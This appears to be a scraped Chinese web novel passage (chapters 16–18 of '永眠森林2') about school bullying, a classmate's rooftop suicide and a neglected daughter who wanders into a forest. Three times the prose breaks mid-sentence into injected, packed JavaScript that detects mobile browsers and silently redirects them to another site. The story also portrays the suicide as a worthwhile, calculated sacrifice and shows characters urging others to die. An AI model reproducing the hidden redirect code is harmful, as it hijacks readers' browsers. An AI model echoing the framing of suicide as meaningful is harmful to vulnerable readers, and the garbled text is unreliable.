“我说,你们折腾完常柳就来折腾楚夕夕。常柳到现在都还没来,你们就不担心她出什么事情吗?”稳定排在第四名的好学生谷悠开了口。 谷悠是一家国际连锁公司的小少爷,褚兰这些人的小动作不可能动到他头上。他平时总是感觉很累地趴在桌子上睡觉,连课都不怎么听,更别说管我的这些闲事了。今天可能是因为常柳没来上课的关系,他才主动开口压制褚兰,以防事情闹大。 事实上,虽然我是个令人生厌的异类,但是我在这偌大的校园里也并不是孤身一人。就算我的性格再懦弱,再不受父母的重视,我好歹也生在有钱人的家庭,所以褚兰的眼神没有第一个锁定我,而是锁定了一个比我更适合的人选——常柳。 常柳天生讲话结巴,说话声音小得像蚊子,一切似乎都在证明她是一个“打不还手,骂不还口”的典范。 中考前三个月,她重病在床的父亲病情严重恶化,她母亲为了给丈夫治病,花光了所有的积蓄,靠着一天打三份工来维持生计。这位乖乖女提出自己辍学打工来减轻母亲压力,可她母亲不愿孩子重蹈覆辙,一口回绝了。也算是天无绝人之路,这所学校的校长拿到了常柳的成绩单,并为她申请了贫困生补助。 还在初中的时候,褚兰就曾用恶劣的手段捉弄过碰巧经过的常柳。常柳为了不让父母担心,一直忍气吞声,不敢将其告诉任何人。褚兰发现常柳是个无论怎么压榨都没有关系的出气筒,便一而再再而三地到路上拦截她。 长时间的欺压辱骂使常柳患上了重度抑郁症,升入高中之后更为明显。 父亲的去世和同学的欺压让她的成绩一再下滑,但为了母亲的心愿,她都一直在咬牙坚持。她是一个从里到外都非常善良,同时也极其勇敢的女生。即便自己深受打压,在看到我被围困墙角时,还是毅然决然地挡在我前面,原因只是我曾经给过她一颗巧克力,还是跟她说过两句话来着……其实我早就已经忘干净了。 她一直以来都坚持把我当做朋友,可我只想保全自身,再尽可能查清小悟的死因。 直到半个月前,她父亲的病实在到了无可挽回的地步,最终撒手人寰了。俗话说,福无双至,祸不单行。三天前,她的母亲也因过劳昏厥,最终抢救无不及死亡。 母亲的离世成为压倒常柳的最后一根稻草,使她深受打击。尽管如此,毫无人性的团体也并不会在乎她的想法。 昨天,以褚兰为首的一帮学生抓着常柳的头发,将她的头按进偏僻的小区蓄水池,以她的痛苦取乐。 这是常柳刚刚在学校门口告诉我的。 然而,她到现在都没有进入教室。 褚兰似乎察觉到了异常,底气弱了几分,“她本来精神就有问题,就算出了什么事也与我无关。”褚兰坐回座位之前,把她那张妆容精致到虚假的脸凑到我耳边,假装好心地对我说:“楚夕夕,你这个样子更容易被老师骂呢,我劝你还是赶紧收拾一下比较好。”她看了一眼门口的方向,“这是善意的提醒。” *** 细高跟鞋踩踏地面的声音接踵而至。毋庸置疑,肯定是英语老师最喜爱的那双黑色高跟鞋。 叶无歆和英语老师一起进的教室。 平日里严肃的老师今天竟然没有发火,只是让她快点坐下,不要耽误学业。 叶无歆环视了一圈教室,很自然地走到谷悠身边的空位置坐下。 身穿时髦西方大衣的纤瘦女教师站上讲台,用非常流利的英语开始上课。 “又是崭新的一天,虽然天气有点冷,但学习的劲头不能松懈。昨天我布置下去一个背书的任务,想必大家都有认真完成。下面我带大家朗读一遍,然后抽背。请大家翻到……” 老师双目有神地扫荡教室,我的座位在靠窗的第三排,没有任何遮挡的暴露在她的视线里。 老师一边大声领读,一边在教室里游走。鞋跟敲击地面的“哒哒”声配合着我剧烈的心跳,形成令人胆战心惊的哀嚎。朗朗书声中,我甚至能感受到同桌褚兰平稳的呼吸声。 鞋跟敲击心口的鼓点越愈演愈烈,心脏仿佛下一刻就要从口中跳出。 稳重的领读声忽然停止,黑色着装的审判者在我的身旁驻足。她占领高地俯视着我,鼻腔呼出的温暖气息让我感到彻骨的寒意。 该来的,终究还是来了。 我没有勇气面对,却也无法逃避。 “你还好意思坐着吗?”她拿书指着空荡荡的书面,只留下这么一句就往前走去,继续领读课文。 我知道老师不会这么容易放过我,控制着颤抖的双腿站起身来。害怕到极致的大脑已经失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15305943|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去思考的功能,浑然分不清战栗的根源是寒冷还是畏惧。 读完整篇课文,老师点起来几名学生进行背诵。提前认真准备的楚乐当然不成问题,好学生宋言言也能轻松过关,之前为难我的褚兰只背出来一半,老师罚她抄写一遍课文。 心惊胆战的马戏表演最后,英语老师回到废物的所在地。 “楚夕夕,你来。” 猝不及防地被叫到名字,让我心里更加慌乱。为了不让声音过于颤抖,我尽量调整呼吸让自己平静一点,可是宛若车祸现场的头脑根本无法冷静,我将昨晚通宵记背的课文忘得一干二净,只能勉强蹦出几个单词。 我能明显感受到大多数同学看热闹的目光。他们都变成了审判者身后推波助澜的观众,期待着一锤定音的结局。谁不喜欢看着替罪的羔羊背负着他人的罪孽坠入深渊呢? “不用再浪费时间了。” 审判的结果显而易见,除我之外的所有人都只当在观看一出有趣的戏剧。 “书呢?” “……忘、忘在家里了。” “为什么?” “因为……出门……太着急了。” “这不是借口,我不想听你狡辩,英语课不带英语书怎么上?” “对不起。” “用不着对不起,你不是在给我学,滚到最后面去站着!” 我有些无助的悲哀,却也不敢耽搁,迅速退到教室的最后面,贴着后黑板站立。 “下课找同桌借书,把上课的内容抄三遍给我,放学之前抄不完不准走。” 审判者的判决终于结束。我只得点头,表示甘愿受罚。 我恨极了老师不明真相的处罚,可老师又有什么错呢?她不明白前因后果,只是在惩罚一个做错事的学生,我甚至找不到理由去怪罪她。 教室墙上的时钟一分一秒走过去,不知道是谁喊了声:“有人坐在天台上!” 全班师生迅速往对面教学楼的天台栏杆上望去。 “坐在栏杆上的那个人好眼熟。” “看着好像是常柳欸!” “真的假的?” “她背对着,看不见呀。” “就是常柳!她刚刚偏了一下头,我看到了!” “她怎么到那里去了?” “还能因为什么,不就是……” “不至于吧?” “谁说得准呢?真要追究起来,帮凶可不少。” “还好我没参与。” “那次林荫道上的事……” “那次我就说了她两句,跟我有什么关系?那种程度连拌嘴都算不上好不好?” “就是说嘛,跟我们有什么关系?要说也是那些人……” “你们就是瞎操心,就算常柳说出来那些事情也只是胡乱构陷而已……别忘了她只是一个人,她不敢的。” “不光是她,这里没有人敢说的。” ………… 16.永眠森林2 讨论声此起彼伏,英语老师清了清嗓子,严肃道:“拉上窗帘,继续听课。” 鉴于英语老师的威严,坐在窗边的同学虽然极不情愿地拉上了窗帘,却还是悄摸地往窗外看。 下课铃很快响起。 英语老师刚离开教室,窗帘就被迅速拉开。 我立刻跑到窗边,仰视对面楼上的人。好奇发生了什么的同学也立刻围过来,议论声又一次开始。 “不是吧,真的是常柳?刚刚我看不见,有人说是她我还不信呢。” “她这是要……跳楼?” “这不明摆着的嘛。” “不是,真跳啊?” “难说,别忘了她爸她妈的死。” “我之前就跟褚兰说过段时间再去招惹她,要是她真跳了,我们有的是麻烦。” “想多了,那种芝麻绿豆大的小事谁会说出去?像她那种漂萍一片,撑死了也就只能掀起一点舆论风波,说不定还对我们有利呢。” “哎呀就是,你少说两句吧,先看戏。” “真要说起来,说不定老师的罪名还要更大一些呢。” “我们那位桑老师肯定也是意识到了这一点——这不,跑了。” “她整天就喜欢挑着软柿子使劲儿捏,常柳和楚夕夕都被她故意针对成什么样了。” “老桑肯定也是觉得自己难辞其咎,否则以她那种损人不利己,拖堂拖到死的个性,怎么会溜这么快?” “我觉得常柳不敢真跳。她要是有那个胆子,也不会被我们欺负这么久了。” 这句话似乎是给了加害者猖狂的底气,曾经对常柳动过手的一位男生笑着冲对面楼上大喊:“你有本事就跳啊!在这演给谁看呢!” 大家都知道她听不见这边的一切,所以无论最后是什么结果他们都不用负责,于是纷纷加入了进来。 “你倒是快跳啊!跳了说不定我们还可以早点放学呢!” “就是,有本事就跳嘛,坐在那里想什么?” “她要是真想跳早就跳了!” 四分之一的同学大喊着让常柳跳下来;四分之一的同学饶有兴致的看着好戏;四分之一的同学觉得与自己无关,漠不关心的做自己的事;还有四分之一的同学保持沉默。除名誉与常柳生死挂钩的老师之外,我看不出有任何人脸上挂有担忧的神色。 原本就坐在窗边的叶无歆面无表情地看向常柳。谷悠罕见地眯起眼睛,非常突兀地对她讲了句:“太巧了,你小心一点。” 叶无歆看向转头过去用唇语说话,谷悠同样说了几句。随后叶无歆走出教室,谷悠则继续趴在桌子上睡觉。 他们说了什么与我无关,我继续目不转睛的注视着对面楼顶的常柳。 “喏,你的书。” 褚兰走到离我有好几个身位的地方,用力把书扔给我。我来不及躲闪,手臂被打青一块。 坐回座位的我翻开课本,上面没有一条笔记,而她的桌子上正躺着一本写着她名字的英语书。 褚兰和楚乐像没事人一样出去聊天,不在教室里。她的罚抄任务全权交给其它班的学生代替。 ——原来这出马戏表演只是一场无聊的笑话。 对面楼顶有老师在劝常柳不要做傻事,但她只是静静坐着。我用课本挡住刺目的光线,顿时感到一种虚假的彷徨。 常柳在想什么? 纵使相隔百米,我也能感受到她的平静。 她坐在学校最高的位置,俯视着这里一切肮脏龌龊的罪孽。她不知道和她一样的孩子有多少,可她知道这样的世界无聊透了,所有的努力、坚强,所有的信念都化为乌有。她终于知道,原来从始至终只有她把一切当真,原来从始至终她都是个笑话。真的是太可笑、太无聊了。 终于有一瞬间,常柳从人群中找到我。距离遥远到我甚至看不清她的脸,但我却看清了她嘴角的微笑,听到了她平静的声音。 “亲爱的朋友,我终于找到你了。” 是幻听吗? 我用意念问她:“常柳,你真的决定了吗?” “我没什么好犹豫的。我一直很煎熬,往后的日子也不会有任何改善。” 多奇怪的对话,简直比幻觉还要奇妙。 这个世界上或许真的有通过两颗心脏直接连通的交流方式。在常柳的世界里,无论我有多想明哲保身,终究是没有办法把自己摘干净的。 “我的朋友,你也很想站在这里不是吗?” “不,我没有你那样的勇气。” “或许我们真的不一样。我从来不认为自己是个受害者,而你很喜欢给自己贴上标签。无论世界究竟是什么样,我都情愿相信它是美好的,因为这样可以使一切不愉快变得无关紧要。” “可是你现在要和这个美好的世界说‘永别’。” “不是‘永别’,是‘再见’。我不在乎一切糟糕的事情,因为我不想给予它们进一步伤害我的权利。你知道的,我在乎的人一个个消失,我慢慢失去了存在的必要,即使后面又找到了想要守护的人,也无非是不想承认自己懦弱无能而找的借口罢了。” “只是因为觉得生活毫无意义?” “我心无大志、安于平凡,更倾向于人活着开心最重要。可我明显不具备让自己开心的能力,也不敢奢望身边有能让我开心的人事物。” “我不相信因为这个原因你就要结束自己的生命!” 上课铃声响起,科任老师走进教室,要求我们回到座位,拉上窗帘。常柳的身影慢慢消失,她在站起来之前给我传递了最后一段话: “我早就预料到会有这一天,不过要等一切都失去了,我才有胆量付诸行动。我也想期望未来,但有很多人和我一样不敢抱有希望。如果能将他们获得解救的可能性增加千万分之一,那也是相当了不起的成就了,不是吗?你不用为我惋惜,因为这不是冲动之下任性的行为,而是经过深思熟虑的决定,我跳下去能创造出来的价值要远比我慢慢挨日子能创造出来的价值要大得多——再见了,我的朋友。” 操场上瞬间响起一片尖叫,接下来是死一般的沉寂。 冻结反应维持了数秒,首先打破沉寂的是科任老师严肃的命令:“关上窗帘!” 我的手脚瞬间失温,恍惚中听到隐忍的啜泣。之前喊常柳快跳的其中一名女同学正双目失焦的望着窗帘,她双手捂住因惊恐而微张的嘴唇,眼泪控制不住的沿着她的手腕滑进袖口和衣领。 我瞬间明白了——常柳想用她的性命换取一样东西,为了利益最大化,她把时间拖延到极限——消防队员进入学校。 她要所有人都看见这一幕,要一个发得出声的群体见证这一幕,这个聪明的姑娘想用她尸体上的伤痕发声,用她的一切换取一个简单的重视。 她知道这些势力盘根错节,她无法真正伤害他们的根本,但她可以把学校推到风口浪尖,逼迫学校不得不干预进来,逼迫那些势力学会适当收敛。 那么多人的嘴是封不住的。网络上不缺自诩正义之士,这样的群体只需要一点小小的暗示,就可以让他们心甘情愿地站出来化作攻击他人的利剑,同时下意识维护事件中的弱者,以及死者。 如果她没死,或许会有很大一部分观众骂她自私自利,不关心在乎她的人;但她死了,这些人就会毫无疑问地呈现出完全颠倒的趋势。由于各种各样的原因,人类对死者有种天然的敬畏,天生的共情本能会使他们不由自主地偏向弱势的一方。 常柳太聪明了,无论这件事情最终对她是否有利,对她想保护的群体都一定是有益的。根骨的势力无法撼动,但为了保全自身利益而退出的爪牙数目,足以让数量不少的受害者获得喘息的机会。用常柳的性命换取几十上百个获得新生的机会,这实在是个无比划算的买卖。 但是,太惨烈了。 我原本想独善其身的,但是长年累月的空洞让我本能地渴望一个朋友。我越来越了解她,也就越来越后悔了解她——常柳这个人不符合我的价值观。 为什么要无条件帮助别人?为什么要为了别人而牺牲自己的利益,甚至是性命?一个连自己亲生弟弟都会妒忌的家伙没办法理解这种英雄主义。我就是自私自利,我就是罪无可赦,我承认生下来就是个灾星!但是我宁愿苟且偷生到命运的终结,也不愿成为利他主义的英雄。我可以理解迫于压力或变故选择轻生的例子,但是为了毫不相关的人活出性命,这样的人到底是出于什么样的心理? 今天下午原本安排了竞赛考试,大部分同学都对此抱有怨念。借着有人跳楼的契机,有人问老师 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308397|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“下午的竞赛考试还要正常考吗?就算考出来也不是正常水平呀。” 科任老师只说去问问,就被年级主任叫去开会了。临走之前,他命令我们不准拉开窗帘,并叫班长管理纪律。 班长是一个不爱惹事的女孩子,对于台下的嘈杂之声总是睁一只眼闭一只眼。 “要是取消考试就好了,我都没复习。” “取消什么考试呀,应该直接放学,这种情况还把我们留下来干嘛?” “我一会儿还想出去打球呢,现在连课间都不放我们出去了。” “你是人吗?都什么时候了,你还说这种话?警车和救护车都来了。” “又不是我让她跳的,关我什么事?” “虽然我不是怕考试,但是我也觉得应该回家。她头先着的地,太渗人了,外面天都阴了。” “看来常柳是真的冤啊,现在不知道有多少人在偷摸着害怕呢。” “她的事情要是查起来得有多少事情被顺藤摸瓜挖出来。” “不会查的,真要查起来,学校都得被翻个面儿。” “行了,这种事情和我们有什么关系?少说两句吧,免得到时候被牵连进去扯不清。” “好好好,不说了,外面看起来确实是要下雨了。” 十几分钟之后,雨滴终于掉下来了。 老师回来通知我们上课和考试都正常进行,课间不准离开教室,并且不更改放学时间。与此同时,学校下令使用金属探测器查看学生是否携带手机,并严查全体师生手机内是否存在跳楼一事有关视频。 听到这里,原本就不满的学生群体立刻沸腾起来,老师花了很大力气才压下去。 下午的考试结束,学校一直充斥在幽怨的谩骂声中。虽然是出于对考试难度的不满,但辱骂的高频词里一直都有常柳的名字。 “常柳这个白痴连死都不会找时间死,死了都还给我们找事。” “她要是在考试的时候跳,我们说不定就不用考试了。” “常柳就是个扫把星,活着的时候是这样,死了还是这样,她就不该活在世上。要死就去一个没人的地方死,在我们面前做什么戏?” “提到她我就心烦,试都没考好。” 不同于常柳,我是彻头彻尾的小人,这种情况下不仅没替她正名,还在为没完成抄写惩罚而苦恼。实验班每天的教学任务都很繁重,我到最后一节课都没有结束抄写。 班上的同学除我之外都可以回家。 和我的习惯不同,大多数同学不喜欢一放学就立刻低着头离开,而是会去打球或者聊天,总之要在学校里逗留一会儿才肯回家。这种特性,即便是在今天这样的情况下也没有改变。 教室里有几个女同学在谈论父亲的职业,褚兰叹息着说:“你们都挺幸运的,我打出生起就没见过我爹,听说他特别有钱,是做什么木头企业的老板,好想见一下他,是和乐乐他爹同一种类型的职业呢!” 褚兰的目光落到我身上,用非常奇怪的语气说:“话说你真的是乐乐的妹妹吗?简直太给他丢脸了。”她夸张地大笑起来,那群女生也跟着大笑起来。笑声之大,如洪水般将我整个吞噬。 下午警察找班上的同学做过口供和笔录,有些同学直接被吓哭了,而有些人则毫不在乎,似乎一切如常。 她们当中的一个走到我旁边,猛的一脚踢在我坐的椅子上。 我被弄得重心不稳摔倒在地。 她高高在上地斜睨着我,掩盖不住的笑意浮上唇角。 “你拦着我了。” 另一个人捡起我的碳素笔,用两个指头捏着看了看,然后像扔脏东西一样扔到我身上。 “随处乱扔垃圾的习惯可不好,既然是垃圾,就应该扔到垃圾桶里去,你觉得我说的对吗,楚夕夕同学?” 被欺负的时候隐忍不意味着不会难受,尽管我装作无所谓的样子爬起来,但是我知道,就算眼泪已经在眼眶里乱转,也不可以在她们面前哭泣。当猎物展示出懦弱或者求饶,猎食者只会更加凶残。人们就是喜欢端坐在高位之上看着尘埃里的悲剧发生,如果没有悲剧,那他们就自己制造出来。你死我活的态度本就是动物与生俱来的本能,就算被别人指责,也可以用“可怜之人必有可恨之处”来为自己脱罪。 17.永眠森林2 *** 我没有完成抄写任务,被英语桑老师特别要求罚留堂。 时间过得很快,天彻底黑下来,人也渐渐走光了。 身后传来椅子突然受力发出的声响,着实把我吓得不轻。 我转头望去,一个身材消瘦的男生如雕塑般趴在桌子上,他的衣着和头发都有些凌乱,倒和我有几分相似。 现在是放学之后的两个小时,教室里早该没人了。因为后排的灯已经关上,所以我一直以为教室里只有我一个人留下。 我对这个男生几乎没有任何印象,他好像和我一样不爱与人交集,平日里也不怎么说话,我唯一知道的是他姓安。大家包括老师都喊他安,我想知道他的全名的人应该也不算太少,不过我肯定是没有那个途径去知道了。 抄写课文的苦差事在几分钟前就已经结束,但是英语老师在有晚自习的班级里,我胆子太小又怕被骂,不敢过去,只好窝囊在教室里等待晚自习的结束。 不得不说,晚间学校里的光线比阁楼里好上不止十倍。能在这种环境里学习,于我而言是一件相当幸福的事情。 安同学应该是睡着了,趴在桌子上一动不动。我觉得冬天这样睡很容易着凉,但是如果他没有睡着的话,场面一定很尴尬。 正当我想着的时候,他抬起头、揉揉眼睛,露出一副“她怎么还在”的表情。我被看得有点尴尬,错开视线小声问他:“安同学你、你怎么还不回家?” 他没有理我,径直拎起书包跑出去。 为了节省时间,我坐在位置上写晚上的家庭作业。 当年抱着弟弟尸体痛哭的初一女生姜小维突然出现在教室里。她应该是结束了晚自习才来的。这所学校初中阶段只有住校的学生才有晚自习,不过也下得很早。 姜小维一直都把我当成杀害弟弟的凶手,我是不明白的,比我嫌疑更大的人不是也有很多吗?在小悟去世之前,我通过他和姜小维见过几面,关系不算太僵,她之前对我也很有礼貌。 “听说你被罚了,还是被冤枉的。是不是觉得很丢脸、很委屈?别以为我会安慰你,我就是来幸灾乐祸的。只要你过的悲惨,我就无比开心。楚小悟的死我还记得,像你这样的坏人就应该被处决掉。如果你暂时死不掉,就给我好好活着接受审判。别说是区区代人受过,就算是被千人所指、万人唾骂都不足以为楚小悟赎罪!” 她真的误会了,我不知道她为什么会对我有这么大的偏见,小悟的死跟我真的没有关系。 我尝试去解释,我对她说:“不是的,我没有……那天我根本就没有和小悟一起回家。” 她不愿意听,认定自己所思所想就一定是事实。 走出教室之前,她扔下这样一段话:“你受不了这些压力,觉得自己很委屈吗?那就像姓常的一样去死啊!如果你真的这么做了,我还会夸你一声勇敢,改变之前对你的陈见。可是你不敢!你这种自私自利的小人宁愿背负这些罪孽窝囊的活着也绝不愿意自杀,真的替你感到悲哀。你现在所遭受的一切都是你自作自受,是你活该!” 小维说完这段话刚走没多久,英语老师就来了,好像是和其他老师换班,顺便过来看看我。见我老老实实写作业,她的脸色总算没有那么难看,只是习惯性的数落我几句抄写太慢,字不好看之类的话便放我回家了。 临走之前,我去了趟同楼层的卫生间。 我刚走到厕所门口就听到有人在说话,因为担心又遇到不好惹的家伙,索性暂且在外面驻足,等确定没有麻烦再进去也不迟。 “明天的事就这么说定了,好好配合。” “放心,出错了都对不起你给的数目和你背后的面子。” 音色特别熟悉,居然是姜小维和褚兰。 高一年级的教室统一设置在五楼,褚兰和姜小维可能没想到这么晚还有人来这里。 她们半遮半掩地说完明天的事,褚兰想往外走,却被姜小维给拦住了。 “等一下,听说小悟出事的当天你拦过他,你对他做了什么?” 褚兰推开姜小维的手,放学后的她画着浓妆,有一种与年龄极度不符的妖媚。 “贫穷的家庭嘛,当然需要一点经济资助咯。我妈整天闲在家里不做事,全靠老爹的赡养费生活,能到我手上的钱不多,我总得自食其力吧。” “他没给你?” “很难猜吗?” 姜小维没给她反应的时间,趁热打铁似的开口质问:“所以你就杀了他?” 褚兰往前走两步逼近姜小维,以身高优势俯视她,“我答应和你做交易,并不代表你可以对我颐指气使。你那天不是也和楚小悟吵过架吗?为什么不能是你杀了自己的小男朋友,试图栽赃嫁祸给我呢?” “你是第一发现人,还动了他的尸体。” “拿点零花而已。还是说,你想通过这一点小证据来指控我?我是干了不少坏事,不过只限于劫财,杀人的帽子可别乱扣。哟,小丫头你心虚了?看来你也不是什么好人呐。听姐姐一句劝,要是做了什么不该做的事,还是老老实实去自首会比较好……” 我没有办法继续听下去,慌乱的跑出学校。我偷听的事千万不可以被她们发现,否则我的下场将难以想象。 不清楚怎么回事,我居然下意识选择走小路。 路过案发现场,我不禁再次想起弟弟惊恐无措的脸蛋。那个可恶的杀人凶手,我一定要把他揪出来,无论是为了替小悟报仇还是为了还我的公道,真相一日不明,我就一日无法安心。 回到家里,妈妈在收拾碗筷,看来爸妈和哥哥已经吃完晚餐。意料之中,他们什么食物都没有给我留下。 爸爸对我视若无睹,莫名其妙地夸赞起哥哥美德,还问我是不是也有同感。 我没有回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15312007|167208||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚乐是那种左手拿着《道德经》,右手握着狼牙锤的人。他的一半是天堂,另一半是地狱——我从未见过天堂的那一面是什么样子,所以“与人为善”、“团结友爱”、“尊敬师长”这些词语恕我实在不敢苟同。 妈妈为了缓解尴尬的气氛,不情不愿地问我:“你饿不饿?” 这句话好凉,好奇怪,就像是用说“你发什么疯?”的语气来说“是我的错,你满意了吗?”没有温度,更多的是厌恶。同样也像极了小时候去北方的亲戚家,妈妈让我在楼下拎着礼物等着,说她去去就来,结果我在冰雪中站了三十分钟都不见她的踪影。我跑去找小卖部的老板娘借电话,打了整整二十通都无人接听。听着手机里传来的铃声重复响过二十次,歌曲结束的旋律一遍遍想起,这样的绝望让我难以笑颜面对,我甚至还可笑地担心妈妈是不是出了什么事。 妈妈又隔了好一会才下楼来。 我有些气恼,问她为什么不接电话?她只说自己忙着,手机又调在振动上听不见,然后莫名其妙地发怒,冲我大声吼叫,问我一脸委屈的样子是想做什么? 我最讨厌别人说我委屈,莫说我脸上根本没有一丝一毫的情绪,即便是我脸上有些不乐意,也不希望听到“委屈”一词,因为每每从别人口中听到委屈,就像是说我太小肚鸡肠,都是我在鸡蛋里挑骨头,和别人没有一点关系,是我太没有包容心,放大了无所谓的小事。 后来妈妈又说:“你也该锻炼一下|体质,拎一下东西,多站一下也是对你好。” 这话多有道理,就像是学校食堂里的坏学生对我说:“你也该练习一下吃苦耐劳的精神,就把你的午餐给我吧!哦,还有,不吃饭的话,饭卡也给我好了。” ——我终于知道这句问候哪里不对劲了。妈妈说那些话时吐出的冰渣子,和现在问我饿不饿时吐出的冰渣子是一样的。 “我说你呀,有你这样的女儿真的是倒了八辈子的霉!我怎么会有你这样一个……” 我刚要点头说是,就被爸爸劈头盖脸责骂起来。妈妈皱起眉头,应该是觉得太吵。 “行了,你整天骂她起什么劲?她能变得和乐乐一样优秀吗?吵得人头疼。”妈妈把十元纸钞甩到我脚边。“便利店二十四小时营业,自己去买点东西吃。” 爸爸不太乐意,冲妈妈吼道:“你这么关心她干嘛?瞧不上我的乐乐啊?祸害遗千年,饿一顿又死不了人,你给她钱干什么?她就只会胡乱挥霍!” 在爸妈眼里我一直都是个祸害,就算弟弟的死跟我毫无关系,他们也坚信是我为小悟招来的杀身之祸。 “还不出去,等着你爹揍你呀?” 听到妈妈的话,我赶紧捡起纸币跑出去。爸爸似乎真的有追上来打我的冲动,被妈妈按住。 “得了你,小心邻居说你虐待儿童。” “她哪里是儿童?” ………… 18.永眠森林2 我跑到安全距离停下脚步,积攒多时的眼泪终于忍不住夺眶而出。 世界像是被黑色的世界包裹,我没有心情去买东□□自一人失魂落魄地走在大街上。脑子里变成了缠满毛线的火灾现场,麻木的身体丝毫感受不到冬日里的寒冷,喜怒哀乐全都离我而去。此时此刻,我更像是一个空洞的机器人,毫无目的地在大街上摇晃,闲来没事地去惹人白眼。 有一个和我差不多高,身材瘦削的身影窜过,我揉揉眼睛,以为是眼眶里的泪水晃动形成的错觉。 不知不觉走到树林边上。 这里有很多恐怖传说,每个版本都大相径庭,据说是进去过森林的人流传开来的。我倒觉得无关紧要,反正无论是巫婆还是妖怪,不都是胡编乱造出来的吗?当然,以前和小悟撞见的杀人现场要另当别论。 这片树林很大,没有人知道其边界在哪里。很久之前我就觉得奇怪,城市还算中心的位置为什么会连着这么大一片森林? 森林的边缘几乎都是松树,长得有些随意,并不拥挤。小悟出事的地方似乎也属于森林的边缘地界。 我浑浑噩噩地走着,步伐有些虚浮,冻僵的手指在脸上乱抹时没有液体的触感,只感觉到没关紧的水龙头拼命往校服上流淌。这种感觉让我不由得想起中世纪欧洲不知检点的荡|妇被男人抛弃,刚喝完夜酒的电影情节。 那水珠子里包含着弟弟小悟、妈妈、爸爸、楚乐和褚兰,还有班主任、姜小维、校长、叶无歆,以及全校师生的面孔。我想躲开,可它们每次都能切切实实砸到我的身上,简直是避无可避。一颗小小的水珠究竟如何能容纳下如此多的面容? 按说我不该去想学校里发生的事情,可它们总是能自己钻到我脑子里,久久挥之不去。 妈妈说学校是最开心的地方,童年是最幸福的时光。不管楚乐怎么想,总之我从来不信。我不敢想像,如果我从小到大经历的那些虐待、欺凌都算做是幸福,那这世间该有多么的黑暗?或许真的是我活该,出生就在幽暗地狱里的人凭什么去体验如沐春风、沁人心脾的感受? 思绪一团乱麻,脑海里不断闪烁着历史片段。我迎着寒风也不眨眼,咸咸的液体流进微微张开的嘴里。那些记忆砸在我的头顶,我顿时感到呼吸不顺,紧急想要转移思绪。直到姜小维和褚兰在厕所谈话的影像再次浮现,我感受到了深刻的窒息,再也控制不住脚步,冲进森林里。 我就这样一边大滴大滴流着眼泪,一边神经质地往森林深处冲去。 什么巫婆,什么妖怪,我才不怕他们!遇上吃人的怪物,被它们吃掉也无所谓,那样才是最好的结局。或许死后的世界会更加光明,更加璀璨…… 就这样一直跑,一直跑…… 森林啊,我看不到你的边际,你如此广袤,能否包容埋葬我这条可恶的蛆虫?你不愿意吗?我理解的。是我为难你了,你如此圣神,万万不可以被我玷污。 一直跑,跑到大脑一片空白,跑到深绿色的背景变成一片暗色金黄,跑到因体力不支而倒下。 银杏叶飘到我的眼睛上,目之所及皆是夜幕下的银杏梦境。 简直难以置信! 外表全是健壮的松树,内里竟然暗藏着如此美妙的银杏之林! 一路上没有见到任何飞禽走兽,就连蚊虫都难寻得一只。若是能隐居在此,该是多么幸福惬意的事——这样想着,忽然觉得右侧除月光之外,还有别的光亮。 我起身循着微弱的光源看去,居然发现了一间小木屋。屋里微弱的烛光忽明忽暗,简直是童话故事里才有的情节。 不知道是哪里来的胆子,我一步步向小屋迈去。 这间屋子虽然孤立于森林的深处,却能给人一种温馨舒适的奇妙幻觉——也就是这种幻觉,让我敲响了老旧的木头门。 一位面容和善的白发老太太走出来迎接我。 “没想到这么晚了还有客人。小姑娘,你是迷路了吗?” 看着眼前身材娇小的老太太,我想起了森林女巫的传言,小心回了声:“没有,不是迷路。”虽然以貌取人很狭隘,但我直觉相信这位奶奶和“坏”字沾不上边。 老太太笑着说:“不是迷路,难道是想半夜来森林里探险?” “不是……我、我也不知道自己是怎么到这里来的,我感觉上一秒还在森林外面……” “哈哈,是这样吗?那真是奇怪呀。”老太太笑着往屋子里面走,“你这女娃娃瞧着挺狼狈,进来坐坐吧。虽然没有动物,但别忘了把门带上,冬天的风怪冷的。” 我关上门,按她说的坐在沙发上。 老奶奶看上去年纪很大,但身体还不错,没有用上老人家标配的拐杖。 屋子是木头做的,可屋里的家具一点都不简陋,电子设备和食物也有不少,可能是亲人时不时会送些新的进来。 “别看我这么老了,其实我才六十几岁。森林里的日子总是感觉更久一些。自我介绍一下,我姓秋,名字不重要了。” “秋奶奶好。” “很久都没有几个人进来陪我,差点连说话都忘了。对了,你叫什么名字?” “……楚夕夕。” “叫夕夕啊,哪个夕?” “花晨月夕的夕。” “哈哈,好名字。夕夕你是第一次进来吗?” “嗯……是的。” “外面的流言传成什么样了?有人说我是老巫婆吗?” 